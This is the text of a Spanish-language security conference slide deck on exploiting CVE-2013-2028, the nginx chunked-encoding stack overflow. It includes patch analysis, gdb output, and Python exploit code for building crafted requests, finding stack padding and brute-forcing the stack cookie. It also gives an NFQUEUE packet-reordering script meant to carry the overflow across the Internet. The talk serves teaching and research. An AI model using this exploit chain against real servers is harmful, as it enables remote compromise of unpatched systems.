Whoam I BBOOTN Whoam I Big Buffer Overflow
Whoam. I #BBOOTN
Whoam. I Big Buffer Overflow Over The Network Y bla bla…
SOBRE MI Albert Puigsech Galicia Más de 15 años dedicado al Info. Sec. Manager del laboratorio de seguridad de EY. Director de centro Codelearn Sant Gervasi. Miembro del grupo int 3 pids. albert@p Creador de la publicación 7 a 69 ezine. uigsech. c gsech @apuig se ch om
QUIEN MÁS? Socio de I+D+i: @samsa 2 k 8 oriol-carreras-ballester
ANTECEDENTES A principios de Mayo de 2013 se publica una vulnerabilidad en nginx. § nginx crafted request handling remote overflow § CVE-2013 -2028 § Otra vez el chunked encoding, y bla bla…
EL EXPLOIT Análisis del parche: El problema se produce en la función ngx_http_parse_chunked() cuando ctx->size o ctx->length es menor que zero. --- src/http/ngx_http_parse. c +++ src/http/ngx_http_parse. c @@ -2209, 6 +2209, 10 @@ data: + if (ctx->size < 0 || ctx->length < 0) { + goto invalid; + } + return rc; done: Y bla bla…
EL EXPLOIT Análisis del código: § La función de parsing procesa carácter en un bucle enorme que implementa una maquina de estados, y bla bla… § Al final se resume todo en usar un tamaño de chunk encode negativo.
EL EXPLOIT Una prueba tonta: GET /html HTTP/1. 1 Host: localhost Transfer-Encoding: chunked feeeeeeee El gdb nos dice esto: Breakpoint 2, ngx_http_parse_chunked (r=0 x 94 dc 4 d 8, b=0 x 94 d 6064, ctx=0 x 94 dcc 94) at src/http/ngx_http_parse. c: 2177 ctx->state = state; (gdb) p ctx->size $7 = -1229782938247303442 (gdb) Y bla bla…
EL EXPLOIT Vale, y? : En la función ngx_http_read_discarded_request_body() podemos encontrar el siguiente código: u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; (…) size = (size_t) ngx_min(r->headers_in. content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); NGX_HTTP_DISCARD_BUFFER_SIZE es 4096. Y bla bla…
EL EXPLOIT Jojojo. Un buffer overflow de toda la vida (*). Y bla bla… (*) Con stack cookie aleatorio.
EL EXPLOIT Código del Exploit: Crafted Request! Y bla bla… def get_magic_request(sz): req = "GET /html HTTP/1. 1n" req += "Host: localhostn" req += "Connection: keep-aliven" req += "Transfer-Encoding: chunkedn" req += "n" extra = sz - len(req) - 17 extra = extra - 5 req += "%x" % extra + "n" + "A"*extra + "n" req += "eeeeeeeet" return req
EL EXPLOIT Código del Exploit: Auto-Padding! Y bla bla… def get_padding(): print "[+] Finding stack padding" for i in range(0, 128): print "rt- Trying: %i" % i, sys. stdout. flush() req = prepare_request(1024, BUFSIZE, i , 0 xff, 1, 0, "") s = do_connect(HOST, PORT) s. send(req) if len(s. recv(1024)) <= 0: print "rt- Trying: %i (FOUND!)n" % i break if i == 127: print "rt- Not Found: Are you sure that this is exploitable? " return None else: return i
EL EXPLOIT Código del Exploit: Auto-Cookie!!!!! Y bla bla… def get_cookie(padding_bc_size): print "[+] Obtaining stack protection cookie" cookie = 0 x 0000 for i in range(0, 4): for j in range(0 x 00, 0 xff): print "rt- Trying: %x" % cookie, sys. stdout. flush() req = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, i+1, 0, "") s = do_connect(HOST, PORT) s. send(req) if (len(s. recv(1024)) > 0): break cookie += 0 x 01<<(8*i) print "rt- Trying: %x (FOUND!)n" % cookie, return cookie
EL EXPLOIT Y bl a… Atacando a través de la red local:
EL EXPLOIT Atacando a través de la Internet: Y bla bla…
EL MISTERIO Qué cojones pasa? Miremos el log… 2013/08/20 01: 57: 07 [debug] 9816#0: *1 http chunked byte: FF s: 2 2013/08/20 01: 57: 07 [debug] 9816#0: *1 recv: fd: 3 1435 of 1435 Y bla bla…
EL MISTERIO Qué cojones pasa? Miremos el trafico de red…
EL MISTERIO ¡Respuesta! $ ifconfig eth 0 Link encap: Ethernet HWaddr 00: 1 c: 42: aa: cd: ae inet addr: 192. 168. 43. 201 Bcast: 192. 168. 43. 255 Mask: 255. 0 inet 6 addr: fe 80: : 21 c: 42 ff: feaa: cdae/64 Scope: Link UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 RX packets: 355172 errors: 0 dropped: 17 overruns: 0 frame: 0 TX packets: 108614 errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0 txqueuelen: 1000 RX bytes: 74851995 (74. 8 MB) TX bytes: 59333456 (59. 3 MB “La MTU nos esta jodiendo” La unidad máxima de transferencia (Maximum Transfer Unit - MTU) es un término de redes de computadoras que expresa el tamaño en bytes de la unidad de datos más grande que puede enviarse usando un protocolo de comunicaciones. Y bla bla…
QUE OCURRE? Aplicación (exploit) Aplicación (nginx) 4096 TCP IP TCP El paquete es dividido en paquetios antes de ser enviado, IP Y el destino los procesa en llamadas recv() independientes 1500 … Física Y bla bla…. Internet
SOLUCION? Primer intento… Forzar una MTU mayor. $ ifconfig eth 0 mtu 8000 up
QUE OCURRE AHORA? Y bla bla…. Aplicación (exploit) Aplicación (nginx) 4096 TCP El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. IP IP No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. Física Internet 1500 …
SOLUCION? Si no podemos enviar el paquete entero… Tenemos que hacer que, por lo menos, llegue entero a la aplicación destino (nginx). bl Y a bl … la a b
(UN POCO DE REDES) El modelo OSI tiene diversas capas en las que se procesan los paquetes. El paquete debe llegar compacto a la capa de Aplicación. En que capas se ensamblan paquetes? IP: Paquetes fragmentados. TCP: En algunas condiciones. Y bla bla…
(UN POCO DE REDES) Cómo funciona la capa TCP. § Protocolo orientado a conexiones controles de secuencia. § Tiene un Buffer interno llamado “Ventana” de un tamaño concreto. § La Ventana se usa para ensamblar paquetes.
(UN POCO DE REDES) Llega un paquete TCP… 1. Se coloca en la Ventana. 2. Se evalúa si el contenido está completo (gracias a los números de secuencia). 3. Si el contenido está completo se envía a la capa superior (capa de Aplicación). 4. Si no esta completo se sigue esperando contenido. 5. Y bla bla…
SOLUCION? Segundo intento… Intentar que los paquetes se ensamblen en la capa TCP… Como? Si enviamos el primer paquete del bloque de datos en último lugar, la capa TCP no podrá entregar los datos a la capa de Aplicación hasta que este llegue. Primer paquete al final. 1500 Y bla bla…
QUE OCURRE? Aplicación (exploit) 1500 Aplicación (nginx) PWNED 1500 TCP Ventana 4096 IP IP Física Y bla bla…. Internet
SOLUCION Como lo hacemos? § Implementando un stack TCP/IP en userspace en nuestro exploit. § Manipular el kernel Elegante, pero un palo. Feo, y un palo. § Usar las NFQUEUS de netfilter. Feo, pero FACIL Y bla bla…
SOLUCION Código del NFQUEUE: import nfqueue import socket import time data_count = 0 delayed = None def cb(dummy, payload): global data_count global delayed print "OUTCOMING PACKAGE!" data = payload. get_data() if len(data) > 60: data_count += 1 if (data_count == 1): delayed = payload print data payload. set_verdict(nfqueue. NF_DROP) else: data_count = 0 q = nfqueue() q. open() q. bind(socket. AF_INET) q. set_callback(cb) q. create_queue(0) try: q. try_run() except Keyboard. Interrupt: print "Exiting. . . " q. unbind(socket. AF_INET) q. close()
PREGUNTAS?
- Slides: 30